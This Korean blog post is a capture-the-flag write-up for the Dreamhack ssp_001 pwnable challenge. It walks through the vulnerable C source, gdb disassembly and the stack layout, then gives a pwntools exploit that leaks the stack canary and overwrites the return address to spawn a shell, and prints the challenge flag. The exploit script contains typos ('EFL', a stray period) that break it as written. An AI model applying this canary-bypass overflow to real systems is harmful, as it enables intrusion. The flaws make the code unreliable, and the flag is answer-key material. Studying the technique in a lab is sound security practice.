티스토리 뷰

Wargame/Pwnable

[Dreamhack.io] ssp_001

youung 2024. 4. 7. 21:33
728x90
반응형

문제 설명

 

 

 

 

문제 파일

ELF 파일과 C파일이 주어진다.

 

 

 

 

 

checksec --file=ssp_001

Canary와 NX 보호기법이 걸려있는 것을 확인할 수 있다.

 

 

 

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

get_shell 함수를 호출하면 쉘을 딸 수 있다.

F, P, E로 스위치 문을 실행한다.

 

 

 

F 입력 시 : box(0x40) 사이즈 만큼 입력할 수 있다.

P 입력 시 : idx를 입력받고, print_box 함수를 호출한다.

E 입력 시 : name_len을 입력받고, 입력 받은 name_len 만큼 name을 입력받을 수 있다.

 

 

 

여기서 name은 0x40으로 할당되어 있는데

사용자가 지정한 name_len 만큼 입력받을 수 있으므로 BOF 발생!!

 

ret 값을 get_shell() 주소로 바꾸면 될 것 같다.

 

 

 

 

 

 

   0x0804872b <+0>:     push   %ebp
   0x0804872c <+1>:     mov    %esp,%ebp
   0x0804872e <+3>:     push   %edi
   0x0804872f <+4>:     sub    $0x94,%esp
   0x08048735 <+10>:    mov    0xc(%ebp),%eax
   0x08048738 <+13>:    mov    %eax,-0x98(%ebp)
   0x0804873e <+19>:    mov    %gs:0x14,%eax
   0x08048744 <+25>:    mov    %eax,-0x8(%ebp)
   0x08048747 <+28>:    xor    %eax,%eax
   0x08048749 <+30>:    lea    -0x88(%ebp),%edx
   0x0804874f <+36>:    mov    $0x0,%eax
   0x08048754 <+41>:    mov    $0x10,%ecx
   0x08048759 <+46>:    mov    %edx,%edi
   0x0804875b <+48>:    rep stos %eax,%es:(%edi)
   0x0804875d <+50>:    lea    -0x48(%ebp),%edx
   0x08048760 <+53>:    mov    $0x0,%eax
   0x08048765 <+58>:    mov    $0x10,%ecx
   0x0804876a <+63>:    mov    %edx,%edi
   0x0804876c <+65>:    rep stos %eax,%es:(%edi)
   0x0804876e <+67>:    movw   $0x0,-0x8a(%ebp)
   0x08048777 <+76>:    movl   $0x0,-0x94(%ebp)
   0x08048781 <+86>:    movl   $0x0,-0x90(%ebp)
   0x0804878b <+96>:    call   0x8048672 <initialize>
   0x08048790 <+101>:   call   0x80486f1 <menu>
   0x08048795 <+106>:   push   $0x2
   0x08048797 <+108>:   lea    -0x8a(%ebp),%eax
   0x0804879d <+114>:   push   %eax
   0x0804879e <+115>:   push   $0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>
   0x080487a5 <+122>:   add    $0xc,%esp
   0x080487a8 <+125>:   movzbl -0x8a(%ebp),%eax
   0x080487af <+132>:   movsbl %al,%eax
   0x080487b2 <+135>:   cmp    $0x46,%eax
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
--Type <RET> for more, q to quit, c to continue without paging--
   0x080487b7 <+140>:   cmp    $0x50,%eax
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    $0x45,%eax
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   $0x804896c
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    $0x4,%esp
   0x080487d3 <+168>:   push   $0x40
   0x080487d5 <+170>:   lea    -0x88(%ebp),%eax
   0x080487db <+176>:   push   %eax
   0x080487dc <+177>:   push   $0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>
   0x080487e3 <+184>:   add    $0xc,%esp
   0x080487e6 <+187>:   jmp    0x804887a <main+335>
   0x080487eb <+192>:   push   $0x8048979
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:   add    $0x4,%esp
   0x080487f8 <+205>:   lea    -0x94(%ebp),%eax
   0x080487fe <+211>:   push   %eax
   0x080487ff <+212>:   push   $0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:   add    $0x8,%esp
   0x0804880c <+225>:   mov    -0x94(%ebp),%eax
   0x08048812 <+231>:   push   %eax
   0x08048813 <+232>:   lea    -0x88(%ebp),%eax
   0x08048819 <+238>:   push   %eax
   0x0804881a <+239>:   call   0x80486cc <print_box>
   0x0804881f <+244>:   add    $0x8,%esp
   0x08048822 <+247>:   jmp    0x804887a <main+335>
   0x08048824 <+249>:   push   $0x804898d
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>
   0x0804882e <+259>:   add    $0x4,%esp
   0x08048831 <+262>:   lea    -0x90(%ebp),%eax
   0x08048837 <+268>:   push   %eax
--Type <RET> for more, q to quit, c to continue without paging--
   0x08048838 <+269>:   push   $0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:   add    $0x8,%esp
   0x08048845 <+282>:   push   $0x804899a
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>
   0x0804884f <+292>:   add    $0x4,%esp
   0x08048852 <+295>:   mov    -0x90(%ebp),%eax
   0x08048858 <+301>:   push   %eax
   0x08048859 <+302>:   lea    -0x48(%ebp),%eax
   0x0804885c <+305>:   push   %eax
   0x0804885d <+306>:   push   $0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>
   0x08048864 <+313>:   add    $0xc,%esp
   0x08048867 <+316>:   mov    $0x0,%eax
   0x0804886c <+321>:   mov    -0x8(%ebp),%edx
   0x0804886f <+324>:   xor    %gs:0x14,%edx
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:   mov    -0x4(%ebp),%edi
   0x08048887 <+348>:   leave
   0x08048888 <+349>:   ret

gdb로 어셈블리 코드를 확인해 보자!

 

 

    select : ebp-0x8a

        box : ebp-0x88

          idx : ebp-0x94

name_len : ebp-0x90

       name : ebp-0x48

에 저장되는 것을 확인할 수 있다.

 

 

 

<main+4>   sub    $0x94,%esp

를 보면 스택을 0x94만큼 확장하는데 변수의 크기가 총 0x90이다.

따라서 0x4만큼의 dummy가 있는 것이다.

 

 

 

<main+19>:    mov    %gs:0x14,%eax

<main+25>:    mov    %eax,-0x8(%ebp)

gs:0x14에서 canary 값을 가져와서 eax에 저장하고

%ebp-0x8에 저장하는 것을 확인할 수 있다.

(따라서 canary는 ebp-0x8에 있음)

 

 

 

 

 

 

 

스택은 다음과 같다.

ebp-0x94 idx[4]
ebp-0x90 name_len[4]
ebp-0x8a select[2]
ebp-0x88 box[40]
ebp-0x48 name[40]
ebp-0x08 canary[4]
ebp-0x04 edi(dummy)
ebp sfp[4] (이전 ebp)
  ret[4]

canary는 버퍼가 모두 할당된 후에 버퍼랑 sfp(이전 스택 프레임 ebp) 사이에 존재하니,

name 다음에 위치한다.

 

 

 

 

 

 

 

from pwn import*

p = remote('host.dreamhack.games', 9590)
e = EFL('./ssp_001')

get_shell = e.symbols['get_shell']
canary =b""

#canary leak
for i in range(131, 127, -1):
	p.sendafter('>', 'p')
    p.sendlineafter('Element index : '. str(i))
    p.recvuntil(' : ')
    canary += p.recv(2)
    
canary = int(canary, 16)

#BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter('> ', 'E')
p.sendlineafter('Name Size : ', str(1000))
p.sendlineafter('Name : ', payload)

p.interactive()

exploit 코드를 실행해보자

 

 

 

 

 

 

 

성공적으로 flag를 구했다!

 

 

 

 

 

flag

DH{00c609773822372daf2b7ef9adbdb824}

 

 

 

728x90
반응형

'Wargame > Pwnable' 카테고리의 다른 글

[Dreamhack.io] ssp_000  (0) 2024.04.03
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2026/05   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
글 보관함